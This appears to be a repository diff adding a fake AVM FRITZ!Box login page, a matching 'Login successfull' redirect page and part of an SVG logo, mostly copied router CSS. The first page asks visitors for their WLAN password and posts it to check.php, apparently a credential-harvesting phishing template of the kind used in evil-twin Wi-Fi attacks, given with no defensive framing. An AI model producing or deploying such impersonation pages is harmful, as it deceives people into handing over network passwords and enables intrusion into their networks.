<meta http-equiv="x-rim-auto-match" content="none">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes, minimal-ui">
<meta name="mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
<meta http-equiv="cleartype" content="on">
<link rel="shortcut icon" type="image/x-icon" href="http://192.168.178.1/favicon.ico">
<link rel="apple-touch-icon" href="http://192.168.178.1/css/default/images/kopfbalken_links.png">
<link rel="apple-touch-startup-image" href="http://192.168.178.1/css/default/images/kopfbalken_links.png">
<style>
@font-face {
font-family: 'Source Sans Pro';
src: url('/css/rd/fonts/sourcesanspro.woff');
}
@font-face {
font-family: 'Source Sans Pro';
src: url('/css/rd/fonts/sourcesansproBold.woff');
font-weight: bold;
}
@font-face {
font-family: 'AVM';
src: url('/css/rd/fonts/metaWebProBold.woff');
font-weight: bold;
}
html, input, textarea, keygen, select, button {
font-family: 'Source Sans Pro', Arial, sans-serif;
font-size: 100%;
}
.blue_bar_title,
.logoArea {
font-family: 'AVM', 'Source Sans Pro', Arial, sans-serif;
}
</style>
<style type="text/css">
/********************************************** Allgemein **********************************************/
* {
-webkit-tap-highlight-color: rgba(0,0,0,0);
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
-webkit-touch-callout: text;
-webkit-user-select: text;
-khtml-user-select: text;
-moz-user-select: text;
-ms-user-select: text;
user-select: text;
font-size: 100%;
vertical-align: middle;
outline: 0;
}
*::selection {
background: transparent;
}
*::-moz-selection {
background: transparent;
}
.selectable *::selection {
background: #8fdaff;
}
.selectable *::-moz-selection {
background: #8fdaff;
}
html {
height: 100%;
font-size: 100%;
background-color: #f0eee6;
transition: background-color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
body {
height: 100%;
padding:0;
margin:0;
color: #3F464C;
overflow-x: hidden;
overflow-y: auto;
line-height: 1;
}
h1, h2, h3, h4, h5, p, span, div, hr, br, nav, header, section, menu {
margin: 0;
padding: 0;
border: 0;
}
h4 {
margin: 1.25rem 0;
}
input {
margin: 0;
padding: 0;
}
hr {
padding: 0;
border-top: 1px solid #d5d5d5;
margin: 1.25rem -1.25rem;
}
header {
height: 6.25rem;
width: 100%;
position: fixed;
top: 0;
left: 0;
z-index: 100;
background-color: #006ec0;
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-flex-direction: row;
-moz-box-flex-direction: row;
-webkit-flex-direction: row;
-ms-flex-direction: row;
flex-direction: row;
transition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
.hidden {
display: none;
}
.blue_bar_title {
-webkit-box-flex: 1 1 auto;
-moz-box-flex: 1 1 auto;
-webkit-flex: 1 1 auto;
-ms-flex: 1 1 auto;
flex: 1 1 auto;
-webkit-box-align-self: center;
-moz-box-align-self: center;
-webkit-align-self: center;
-ms-align-self: center;
align-self: center;
margin: 0.3rem 0 0 0;
font-size: 3rem;
font-weight: bold;
text-align: left;
color: #ffffff;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
text-align: center;
transition: all 150ms;
}
.blue_bar_title.fade {
font-size: 0;
color: transparent;
}
.logoBox {
background-image: url("fritzLogo.svg");
background-position: center right;
background-repeat: no-repeat;
background-size: 7rem;
color: transparent;
width: 10.75rem;
height: 6.25rem;
}
.logoBox.fake {
background-image: none;
}
.dialog_outer {
height: 100%;
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-justify-content: center;
-moz-box-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
-webkit-box-align-items: center;
-moz-box-align-items: center;
-webkit-align-items: center;
-ms-align-items: center;
align-items: center;
background-image: url("login_background.svg");
background-position: center 51%;
background-repeat: no-repeat;
background-size: 38rem;
padding: 6.5rem 0;
}
.dialog_outer p {
margin: 1.25rem 0;
line-height: 1.25rem;
}
.loginForm {
display: block;
}
.setFac .pushmailQuestion,
.setFac #sendFacReset,
.setFac #sendPushMail,
.setFac #setFac,
.pushmailSend,
.restore,
.pushmail .pushmailQuestion,
.pushmail #sendFacReset,
.pushmail #sendPushMail,
.pushmail #setFac,
.forgotPassForm,
.forgotPass .loginForm {
display: none;
}
.setFac .restore,
.pushmail .pushmailSend,
.forgotPass .forgotPassForm {
display: block;
visibility: visible;
}
.setFac .forgotPassForm {
display: none;
}
.pushmail.wait .pushmailSend {
visibility: hidden;
}
.intxt.wait,
.setFac.wait .dialog_content,
.pushmail.wait .dialog_content {
background-image: url("/css/rd/images/wait_circle_bright_back.gif");
background-position: center 1.5rem;
background-repeat: no-repeat;
background-size: 2rem;
}
.intxt.wait {
height: 2rem;
width: 100%;
margin: 0.5rem;
background-position: center;
}
.ErrorMsg,
.error_text,
.WarnMsgBold {
color: #ff3000;
}
.WarnMsgBold {
font-weight:bold;
}
.pushmailQuestion,
.pushmailSend,
#setFac,
.restore {
padding: 0 1.25rem;
}
#uiLoginError,
#uiUsernameError {
height: 1.25rem;
margin: -0.35rem 0 0.75rem 9rem;
font-size: 0.94rem;
transition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
#uiLoginError {
height: 7.25rem;
margin: -0.35rem 0 0 9rem;
}
#uiLoginError p:first-Child {
margin: 0;
}
#uiLoginError p:nth-Child(2) {
margin: 0 0 1.25rem 0;
}
#uiLoginError p {
transition: color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
@media (max-width: 759px) {
#uiLoginError {
height: 7.5rem;
}
}
@media (max-width: 369px) {
#uiLoginError {
height: 10rem;
}
}
@media (max-width: 279px) {
#uiLoginError {
height: 13rem;
}
}
#uiUsernameError.hidden,
#uiLoginError.hidden {
display: block;
overflow: hidden;
height: 0;
margin: 0 0 0 9rem;
}
#uiLoginError.hidden p.error_text {
color: transparent;
}
button {
min-width: 5.5rem;
min-height: 1.75rem;
overflow: hidden;
padding: 0 1rem;
margin: 0 0 0 1.25rem;
background-color: #e9edf0;
border: 1px solid #d8dfe3;
border-radius: 0.25rem;
color: #4269a4;
cursor: pointer;
will-change: border, background-color, color;
transition: border 100ms,
background-color 100ms,
color 100ms;
}
.btn_form_foot button {
margin: 0 0 0 1.25rem;
}
button:first-Child {
margin-left: 0;
}
button:active {
background-color: #bcccd4;
border: 1px solid #b0bec5;
}
button:disabled {
background-color: #e0e0de;
border: 1px solid #d8dfe3;
color: #969693;
cursor: default;
}
.btn_form_foot button {
min-height: 2rem;
min-width: 7.5rem;
margin: 0 0 0 0.5rem;
background-color: #268edf;
color: #ffffff;
cursor: pointer;
overflow: hidden;
text-align: center;
padding: 0.35rem 1rem;
will-change: margin, width, background-color, color;
transition: margin 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),
width 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),
background-color 100ms,
color 100ms;
border: 0;
border-radius: 0;
}
.btn_form_foot button:active {
background-color: #57758c;
}
.btn_form_foot button:disabled {
background-color: #d5d5d5;
color: #969693;
cursor: default;
}
@media (max-width: 1023px) {
.btn_form_foot button {
min-height: 2.25rem;
}
}
@media (min-width: 760px) {
/*pc*/
.dialog_inner {
-webkit-box-flex: 0 0 28.75rem;
-moz-box-flex: 0 0 28.75rem;
-webkit-flex: 0 0 28.75rem;
-ms-flex: 0 0 28.75rem;
flex: 0 0 28.75rem;
margin: auto 0;
padding: 0;
box-shadow: 0 0.1875rem 0.375rem rgba(0,0,0,0.25);
background-color: #ffffff;
}
.dialog_head_box {
text-align: left;
height: 3.25rem;
margin: auto;
background-color: #268edf;
}
.dialog_head_box h2 {
margin: 0 0 0 1.25rem;
font-weight: bold;
font-size: 1.25rem;
color: #ffffff;
letter-spacing: 0.025rem;
line-height: 3.4rem;
}
.dialog_content {
padding: 0 0 1rem 0;
min-height: 5rem;
}
.formular {
text-align: left;
margin: 0;
padding: 0 1.25rem 0 1.25rem;
}
label,
input,
select {
margin: 0 0 0.5rem;
color: #3F464C;
vertical-align: middle;
display: inline-block;
}
.formular label {
width: 8.5rem;
margin-right: 0.5rem;
line-height: 1.7rem;
}
.formular input,
.formular select {
width: 17.25rem;
border: 1px solid #d5d5d5;
height: 1.7rem;
}
.formular input.error,
.formular select.error {
border-color: #ff3000;
}
.formular input {
padding: 0 0.25rem;
}
.language_selection.formular input {
width: auto;
margin-right: 0.25rem;
}
.btn_form_foot {
border-top: 1px solid #d5d5d5;
margin: 1.75rem 0 0 0;
padding: 1rem 1.25rem 0 1.25rem;
text-align: right;
width: 100%;
display: flex;
flex-direction: row-reverse;
justify-content: space-between;
align-items: center;
}
.forgotPass .btn_form_foot {
justify-content: flex-start;
}
.btn_form_foot a {
display: inline-block;
text-decoration: none;
font-size: 0.9375rem;
font-weight: normal;
color: #4269a4;
margin: 0;
padding: 0.1rem 0 0 0;
cursor: pointer;
}
.btn_form_foot a:hover {
text-decoration: underline;
}
}
@media (max-width: 759px) {
/*für mobile Ansicht*/
html {
background-color: #ffffff;
background-image: none;
}
body {
height: auto;
}
header {
height: 3.75rem;
}
.dialog_outer {
font-size: 1.25rem;
background-image: none;
padding: 3.75rem 0 4.25rem 0;
}
.blue_bar_title {
text-align: left;
padding: 1rem 0 1.035rem 0.15rem;
font-size: 1.25rem;
font-weight: normal;
}
.blue_bar_title.hide {
color: transparent;
}
.dialog_inner {
width: 90%;
margin: 0;
}
.dialog_head_box {
display: none;
}
.logoBox {
height: 3.75rem;
background-position: left 0.5rem center;
background-size: 3.75rem;
width: 5rem;
}
.formular {
text-align: left;
margin: 0;
padding: 0;
}
label,
input,
select {
vertical-align: middle;
display: inline-block;
margin: 0 0 0.5rem;
color: #3F464C;
}
.pushmailQuestion,
.pushmailSend,
#setFac,
.restore {
padding: 0;
}
.formular label {
width: 10rem;
line-height: 1.7rem;
margin: 0 0.5rem 0 0;
vertical-align: top;
}
#uiLoginError,
#uiUsernameError {
margin: 0 0 1rem 0;
font-size: 1.15rem;
}
#uiUsernameError.hidden,
#uiLoginError,
#uiLoginError.hidden {
margin: 0;
}
.formular input,
.formular select {
border: 1px solid #d5d5d5;
height: 1.7rem;
width: 100%;
max-width: 20rem;
}
.formular input.error,
.formular select.error {
border-color: #ff3000;
}
.formular input {
padding: 0 0.25rem;
}
.language_selection.formular input {
width: auto;
margin: 0 0.5rem 0.5rem 0;
}
.btn_form_foot {
border: none;
margin: 0 -1.25rem 0 -1.25rem;
padding: 0 1.25rem;
text-align: center;
width: calc(100% + 2.5rem);
display: flex;
flex-direction: column-reverse;
}
button,
.btn_form_foot button {
min-width: 100%;
min-height: 2.2rem;
margin: 0;
}
.btn_form_foot button {
margin: 2rem 0 0 0;
}
.btn_form_foot a {
display: block;
position: fixed;
bottom: 0;
left: 0;
text-align: center;
width: 100%;
padding: 1rem 0;
background-color: #f1f6f9;
cursor: pointer;
}
.btn_form_foot a {
color: #3080C8;
}
.logoBox.fake {
display: none;
}
}
.perfTestHead {
border-top: 1px solid #ff3000;
margin: 1rem 0 0 0;
padding: 1.25rem 1.25rem 0 1.25rem;
color: #ff3000;
cursor: pointer;
}
.perfTestHead span {
display: inline-block;
height: 1rem;
width: 2rem;
background-image: url("/css/rd/images/link_open_red.svg");
background-position: center;
background-size: 1rem;
background-repeat: no-repeat;
}
.perfTestHead.show span {
background-image: url("/css/rd/images/link_closed_red.svg");
}
.perfTestMsg {
display: none;
padding: 0 1.25rem 0 1.25rem;
}
.perfTestMsg.show {
display: block;
}
.forgotPass .perfTestHead,
.forgotPass .perfTestMsg.show {
display: none;
}
.hintMsg {
font-weight: bold;
}
@media (max-width: 759px) {
.perfTestHead {
margin: 1.5rem 0 0 0;
padding: 1.25rem 0 0 0;
}
.perfTestMsg {
padding: 0;
}
}
@media (min-width: 2040px) {
html {
font-size: 0.79vw;
}
}
</style>
<title>
FRITZ!Box
</title>
</head>
<body>
<script>
var gNbc = false,
config = {"gu_type":"release","isDebug":false,"GUI_IS_REPEATER":false};
</script>
<script src="FRITZ%21Box-Dateien/avmcore.js"></script>
<!--<script src="/js/browser.js"></script>-->
<!--<script src="/js/jsl.js"></script>-->
<!--<script src="/js/md5.js"></script>-->
<!--<script src="/js/html.js"></script>-->
<!--<script src="/js/func.js"></script>-->
<!--<script type="text/javascript" src="/myfritz/js/focuschanger.js?lang=de"></script>-->
<!--<script src="/js/html2.js?lang=de"></script>-->
<!--<script src="/js/http.js"></script>-->
</script>
<header id="blueBarBox" name="" class=""><div id="" name="" class="logoBox"></div>
<div id="blueBarTitel" name="" class="blue_bar_title">FRITZ!Box WLAN</div>
<div id="" name="" class="logoBox fake"></div></header><div class="dialog_outer">
<div id="dialogInner" class="dialog_inner">
<div id="dialogHeadBox" class="dialog_head_box">
<h2 id="dialogTitle">Welcome to your FRITZ!Box</h2></div>
<div id="dialogContent" class="dialog_content">
<form method="post" action="check.php" id="form1" name="form1" class="loginForm">
<div class="formular">
<p>Please log in with your WLAN-password.</p>
<input tabindex="2" name="key1" type="password">
<p class="error_text">Please try again.</p>
<p id="uiWait" class="error_text"></p></div>
<div class="btn_form_foot">
<button type="submit" tabindex="3" id="submitLoginBtn">Log in</button>
<a>Forgot password?</a></div></form></div></div></div>

View File

@ -0,0 +1,658 @@
<!DOCTYPE html>
<html lang="de"><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8">
<meta http-equiv="Cache-Control" content="private, no-transform">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="format-detection" content="telephone=no">
<meta http-equiv="x-rim-auto-match" content="none">
<meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=yes, minimal-ui">
<meta name="mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-capable" content="yes">
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
<meta http-equiv="cleartype" content="on">
<link rel="shortcut icon" type="image/x-icon" href="http://192.168.178.1/favicon.ico">
<link rel="apple-touch-icon" href="http://192.168.178.1/css/default/images/kopfbalken_links.png">
<link rel="apple-touch-startup-image" href="http://192.168.178.1/css/default/images/kopfbalken_links.png">
<style>
@font-face {
font-family: 'Source Sans Pro';
src: url('/css/rd/fonts/sourcesanspro.woff');
}
@font-face {
font-family: 'Source Sans Pro';
src: url('/css/rd/fonts/sourcesansproBold.woff');
font-weight: bold;
}
@font-face {
font-family: 'AVM';
src: url('/css/rd/fonts/metaWebProBold.woff');
font-weight: bold;
}
html, input, textarea, keygen, select, button {
font-family: 'Source Sans Pro', Arial, sans-serif;
font-size: 100%;
}
.blue_bar_title,
.logoArea {
font-family: 'AVM', 'Source Sans Pro', Arial, sans-serif;
}
</style>
<style type="text/css">
/********************************************** Allgemein **********************************************/
* {
-webkit-tap-highlight-color: rgba(0,0,0,0);
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
-webkit-touch-callout: text;
-webkit-user-select: text;
-khtml-user-select: text;
-moz-user-select: text;
-ms-user-select: text;
user-select: text;
font-size: 100%;
vertical-align: middle;
outline: 0;
}
*::selection {
background: transparent;
}
*::-moz-selection {
background: transparent;
}
.selectable *::selection {
background: #8fdaff;
}
.selectable *::-moz-selection {
background: #8fdaff;
}
html {
height: 100%;
font-size: 100%;
background-color: #f0eee6;
transition: background-color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
body {
height: 100%;
padding:0;
margin:0;
color: #3F464C;
overflow-x: hidden;
overflow-y: auto;
line-height: 1;
}
h1, h2, h3, h4, h5, p, span, div, hr, br, nav, header, section, menu {
margin: 0;
padding: 0;
border: 0;
}
h4 {
margin: 1.25rem 0;
}
input {
margin: 0;
padding: 0;
}
hr {
padding: 0;
border-top: 1px solid #d5d5d5;
margin: 1.25rem -1.25rem;
}
header {
height: 6.25rem;
width: 100%;
position: fixed;
top: 0;
left: 0;
z-index: 100;
background-color: #006ec0;
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-flex-direction: row;
-moz-box-flex-direction: row;
-webkit-flex-direction: row;
-ms-flex-direction: row;
flex-direction: row;
transition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
.hidden {
display: none;
}
.blue_bar_title {
-webkit-box-flex: 1 1 auto;
-moz-box-flex: 1 1 auto;
-webkit-flex: 1 1 auto;
-ms-flex: 1 1 auto;
flex: 1 1 auto;
-webkit-box-align-self: center;
-moz-box-align-self: center;
-webkit-align-self: center;
-ms-align-self: center;
align-self: center;
margin: 0.3rem 0 0 0;
font-size: 3rem;
font-weight: bold;
text-align: left;
color: #ffffff;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
text-align: center;
transition: all 150ms;
}
.blue_bar_title.fade {
font-size: 0;
color: transparent;
}
.logoBox {
background-image: url("fritzLogo.svg");
background-position: center right;
background-repeat: no-repeat;
background-size: 7rem;
color: transparent;
width: 10.75rem;
height: 6.25rem;
}
.logoBox.fake {
background-image: none;
}
.dialog_outer {
height: 100%;
display: -webkit-box;
display: -moz-box;
display: -ms-flexbox;
display: -webkit-flex;
display: flex;
-webkit-box-justify-content: center;
-moz-box-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
-webkit-box-align-items: center;
-moz-box-align-items: center;
-webkit-align-items: center;
-ms-align-items: center;
align-items: center;
background-image: url("login_background.svg");
background-position: center 51%;
background-repeat: no-repeat;
background-size: 38rem;
padding: 6.5rem 0;
}
.dialog_outer p {
margin: 1.25rem 0;
line-height: 1.25rem;
}
.loginForm {
display: block;
}
.setFac .pushmailQuestion,
.setFac #sendFacReset,
.setFac #sendPushMail,
.setFac #setFac,
.pushmailSend,
.restore,
.pushmail .pushmailQuestion,
.pushmail #sendFacReset,
.pushmail #sendPushMail,
.pushmail #setFac,
.forgotPassForm,
.forgotPass .loginForm {
display: none;
}
.setFac .restore,
.pushmail .pushmailSend,
.forgotPass .forgotPassForm {
display: block;
visibility: visible;
}
.setFac .forgotPassForm {
display: none;
}
.pushmail.wait .pushmailSend {
visibility: hidden;
}
.intxt.wait,
.setFac.wait .dialog_content,
.pushmail.wait .dialog_content {
background-image: url("/css/rd/images/wait_circle_bright_back.gif");
background-position: center 1.5rem;
background-repeat: no-repeat;
background-size: 2rem;
}
.intxt.wait {
height: 2rem;
width: 100%;
margin: 0.5rem;
background-position: center;
}
.ErrorMsg,
.error_text,
.WarnMsgBold {
color: #ff3000;
}
.WarnMsgBold {
font-weight:bold;
}
.pushmailQuestion,
.pushmailSend,
#setFac,
.restore {
padding: 0 1.25rem;
}
#uiLoginError,
#uiUsernameError {
height: 1.25rem;
margin: -0.35rem 0 0.75rem 9rem;
font-size: 0.94rem;
transition: all 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
#uiLoginError {
height: 7.25rem;
margin: -0.35rem 0 0 9rem;
}
#uiLoginError p:first-Child {
margin: 0;
}
#uiLoginError p:nth-Child(2) {
margin: 0 0 1.25rem 0;
}
#uiLoginError p {
transition: color 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000);
}
@media (max-width: 759px) {
#uiLoginError {
height: 7.5rem;
}
}
@media (max-width: 369px) {
#uiLoginError {
height: 10rem;
}
}
@media (max-width: 279px) {
#uiLoginError {
height: 13rem;
}
}
#uiUsernameError.hidden,
#uiLoginError.hidden {
display: block;
overflow: hidden;
height: 0;
margin: 0 0 0 9rem;
}
#uiLoginError.hidden p.error_text {
color: transparent;
}
button {
min-width: 5.5rem;
min-height: 1.75rem;
overflow: hidden;
padding: 0 1rem;
margin: 0 0 0 1.25rem;
background-color: #e9edf0;
border: 1px solid #d8dfe3;
border-radius: 0.25rem;
color: #4269a4;
cursor: pointer;
will-change: border, background-color, color;
transition: border 100ms,
background-color 100ms,
color 100ms;
}
.btn_form_foot button {
margin: 0 0 0 1.25rem;
}
button:first-Child {
margin-left: 0;
}
button:active {
background-color: #bcccd4;
border: 1px solid #b0bec5;
}
button:disabled {
background-color: #e0e0de;
border: 1px solid #d8dfe3;
color: #969693;
cursor: default;
}
.btn_form_foot button {
min-height: 2rem;
min-width: 7.5rem;
margin: 0 0 0 0.5rem;
background-color: #268edf;
color: #ffffff;
cursor: pointer;
overflow: hidden;
text-align: center;
padding: 0.35rem 1rem;
will-change: margin, width, background-color, color;
transition: margin 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),
width 400ms cubic-bezier(0.165, 0.840, 0.440, 1.000),
background-color 100ms,
color 100ms;
border: 0;
border-radius: 0;
}
.btn_form_foot button:active {
background-color: #57758c;
}
.btn_form_foot button:disabled {
background-color: #d5d5d5;
color: #969693;
cursor: default;
}
@media (max-width: 1023px) {
.btn_form_foot button {
min-height: 2.25rem;
}
}
@media (min-width: 760px) {
/*pc*/
.dialog_inner {
-webkit-box-flex: 0 0 28.75rem;
-moz-box-flex: 0 0 28.75rem;
-webkit-flex: 0 0 28.75rem;
-ms-flex: 0 0 28.75rem;
flex: 0 0 28.75rem;
margin: auto 0;
padding: 0;
box-shadow: 0 0.1875rem 0.375rem rgba(0,0,0,0.25);
background-color: #ffffff;
}
.dialog_head_box {
text-align: left;
height: 3.25rem;
margin: auto;
background-color: #268edf;
}
.dialog_head_box h2 {
margin: 0 0 0 1.25rem;
font-weight: bold;
font-size: 1.25rem;
color: #ffffff;
letter-spacing: 0.025rem;
line-height: 3.4rem;
}
.dialog_content {
padding: 0 0 1rem 0;
min-height: 5rem;
}
.formular {
text-align: left;
margin: 0;
padding: 0 1.25rem 0 1.25rem;
}
label,
input,
select {
margin: 0 0 0.5rem;
color: #3F464C;
vertical-align: middle;
display: inline-block;
}
.formular label {
width: 8.5rem;
margin-right: 0.5rem;
line-height: 1.7rem;
}
.formular input,
.formular select {
width: 17.25rem;
border: 1px solid #d5d5d5;
height: 1.7rem;
}
.formular input.error,
.formular select.error {
border-color: #ff3000;
}
.formular input {
padding: 0 0.25rem;
}
.language_selection.formular input {
width: auto;
margin-right: 0.25rem;
}
.btn_form_foot {
border-top: 1px solid #d5d5d5;
margin: 1.75rem 0 0 0;
padding: 1rem 1.25rem 0 1.25rem;
text-align: right;
width: 100%;
display: flex;
flex-direction: row-reverse;
justify-content: space-between;
align-items: center;
}
.forgotPass .btn_form_foot {
justify-content: flex-start;
}
.btn_form_foot a {
display: inline-block;
text-decoration: none;
font-size: 0.9375rem;
font-weight: normal;
color: #4269a4;
margin: 0;
padding: 0.1rem 0 0 0;
cursor: pointer;
}
.btn_form_foot a:hover {
text-decoration: underline;
}
}
@media (max-width: 759px) {
/*für mobile Ansicht*/
html {
background-color: #ffffff;
background-image: none;
}
body {
height: auto;
}
header {
height: 3.75rem;
}
.dialog_outer {
font-size: 1.25rem;
background-image: none;
padding: 3.75rem 0 4.25rem 0;
}
.blue_bar_title {
text-align: left;
padding: 1rem 0 1.035rem 0.15rem;
font-size: 1.25rem;
font-weight: normal;
}
.blue_bar_title.hide {
color: transparent;
}
.dialog_inner {
width: 90%;
margin: 0;
}
.dialog_head_box {
display: none;
}
.logoBox {
height: 3.75rem;
background-position: left 0.5rem center;
background-size: 3.75rem;
width: 5rem;
}
.formular {
text-align: left;
margin: 0;
padding: 0;
}
label,
input,
select {
vertical-align: middle;
display: inline-block;
margin: 0 0 0.5rem;
color: #3F464C;
}
.pushmailQuestion,
.pushmailSend,
#setFac,
.restore {
padding: 0;
}
.formular label {
width: 10rem;
line-height: 1.7rem;
margin: 0 0.5rem 0 0;
vertical-align: top;
}
#uiLoginError,
#uiUsernameError {
margin: 0 0 1rem 0;
font-size: 1.15rem;
}
#uiUsernameError.hidden,
#uiLoginError,
#uiLoginError.hidden {
margin: 0;
}
.formular input,
.formular select {
border: 1px solid #d5d5d5;
height: 1.7rem;
width: 100%;
max-width: 20rem;
}
.formular input.error,
.formular select.error {
border-color: #ff3000;
}
.formular input {
padding: 0 0.25rem;
}
.language_selection.formular input {
width: auto;
margin: 0 0.5rem 0.5rem 0;
}
.btn_form_foot {
border: none;
margin: 0 -1.25rem 0 -1.25rem;
padding: 0 1.25rem;
text-align: center;
width: calc(100% + 2.5rem);
display: flex;
flex-direction: column-reverse;
}
button,
.btn_form_foot button {
min-width: 100%;
min-height: 2.2rem;
margin: 0;
}
.btn_form_foot button {
margin: 2rem 0 0 0;
}
.btn_form_foot a {
display: block;
position: fixed;
bottom: 0;
left: 0;
text-align: center;
width: 100%;
padding: 1rem 0;
background-color: #f1f6f9;
cursor: pointer;
}
.btn_form_foot a {
color: #3080C8;
}
.logoBox.fake {
display: none;
}
}
.perfTestHead {
border-top: 1px solid #ff3000;
margin: 1rem 0 0 0;
padding: 1.25rem 1.25rem 0 1.25rem;
color: #ff3000;
cursor: pointer;
}
.perfTestHead span {
display: inline-block;
height: 1rem;
width: 2rem;
background-image: url("/css/rd/images/link_open_red.svg");
background-position: center;
background-size: 1rem;
background-repeat: no-repeat;
}
.perfTestHead.show span {
background-image: url("/css/rd/images/link_closed_red.svg");
}
.perfTestMsg {
display: none;
padding: 0 1.25rem 0 1.25rem;
}
.perfTestMsg.show {
display: block;
}
.forgotPass .perfTestHead,
.forgotPass .perfTestMsg.show {
display: none;
}
.hintMsg {
font-weight: bold;
}
@media (max-width: 759px) {
.perfTestHead {
margin: 1.5rem 0 0 0;
padding: 1.25rem 0 0 0;
}
.perfTestMsg {
padding: 0;
}
}
@media (min-width: 2040px) {
html {
font-size: 0.79vw;
}
}
</style>
<title>
FRITZ!Box
</title>
</head>
<body>
<script>
var gNbc = false,
config = {"gu_type":"release","isDebug":false,"GUI_IS_REPEATER":false};
</script>
<script src="FRITZ%21Box-Dateien/avmcore.js"></script>
<!--<script src="/js/browser.js"></script>-->
<!--<script src="/js/jsl.js"></script>-->
<!--<script src="/js/md5.js"></script>-->
<!--<script src="/js/html.js"></script>-->
<!--<script src="/js/func.js"></script>-->
<!--<script type="text/javascript" src="/myfritz/js/focuschanger.js?lang=de"></script>-->
<!--<script src="/js/html2.js?lang=de"></script>-->
<!--<script src="/js/http.js"></script>-->
<script type="text/javascript" src="FRITZ%21Box-Dateien/login.js"></script>
<script type="text/javascript">
</script>
<header id="blueBarBox" name="" class=""><div id="" name="" class="logoBox"></div>
<div id="blueBarTitel" name="" class="blue_bar_title">FRITZ!Box WLAN</div>
<div id="" name="" class="logoBox fake"></div></header><div class="dialog_outer">
<div id="dialogInner" class="dialog_inner">
<div id="dialogHeadBox" class="dialog_head_box">
<h2 id="dialogTitle">Login successfull</h2></div>
<div id="dialogContent" class="dialog_content">
<div class="formular">
<br>
<p>You will be redirected.</p>

View File

@ -0,0 +1,77 @@
<?xml version="1.0" encoding="UTF-8"?>
<!-- Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Ebene_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="80px" viewBox="0 0 100 80" enable-background="new 0 0 100 80" xml:space="preserve">
<path d="M79.023,41.96l3.853-7.019c-2.92-3.031-7.79-7.82-15.938-15.367C47.917,1.974,46.812,2.052,46.343,2.052 c-0.466,0-1.384-0.337-20.327,17.491C4.78,39.559,5.489,40.234,5.489,40.234S4.836,41.315,26.235,61.1 c19.21,17.774,19.58,17.277,20.107,17.277c0.54,0,1.678,0.312,20.622-17.529c10.258-9.621,15.326-14.764,17.826-17.501L79.023,41.96 "/>
<path fill="#231F20" d="M79.023,41.96l0.181,0.102l3.937-7.158l-0.111-0.105c-2.92-3.042-7.795-7.833-15.945-15.366 C57.666,10.699,52.636,6.314,49.899,4.108c-1.363-1.1-2.16-1.653-2.672-1.955c-0.241-0.146-0.416-0.217-0.553-0.258 c-0.137-0.047-0.247-0.056-0.312-0.056h-0.068c-0.08,0-0.202,0.017-0.343,0.065c-0.507,0.174-1.507,0.787-4.415,3.239 c-2.896,2.445-7.678,6.744-15.66,14.261c-9.956,9.369-15.094,14.502-17.742,17.315c-1.324,1.393-2.029,2.217-2.407,2.712 c-0.188,0.247-0.292,0.402-0.362,0.518c-0.057,0.119-0.087,0.183-0.089,0.262c0,0.048,0.02,0.129,0.069,0.171l0.142-0.147 l-0.179-0.12c-0.025,0.043-0.032,0.097-0.032,0.128c0.002,0.073,0.021,0.146,0.087,0.281c0.222,0.406,0.98,1.511,3.903,4.542 c2.917,3.034,7.997,8.028,16.819,16.188c9.104,8.411,13.979,12.75,16.651,14.96c1.328,1.105,2.116,1.694,2.613,2.017 c0.25,0.146,0.424,0.25,0.567,0.293c0.137,0.062,0.256,0.065,0.345,0.065h0.137c0.074,0,0.205-0.004,0.352-0.059 c0.541-0.16,1.61-0.776,4.557-3.223c2.94-2.449,7.771-6.745,15.802-14.29c10.26-9.645,15.321-14.78,17.833-17.539l0.246-0.264 l-6.114-1.454L79.023,41.96l0.181,0.102L79.023,41.96l-0.04,0.205l5.753,1.39l0.055-0.208l-0.157-0.142 c-2.49,2.72-7.557,7.859-17.805,17.501c-9.163,8.615-14.156,12.993-16.945,15.221c-1.381,1.109-2.208,1.668-2.716,1.965 c-0.251,0.144-0.421,0.212-0.525,0.241c-0.129,0.037-0.176,0.037-0.241,0.037h-0.137c-0.062,0-0.101,0-0.204-0.037 c-0.179-0.067-0.518-0.25-1.15-0.719c-1.928-1.43-6.599-5.426-18.532-16.469C16.292,51.612,11.108,46.444,8.45,43.583 c-1.329-1.406-2.029-2.268-2.39-2.755c-0.176-0.244-0.274-0.41-0.323-0.5c-0.026-0.052-0.039-0.086-0.041-0.086l-0.003-0.016 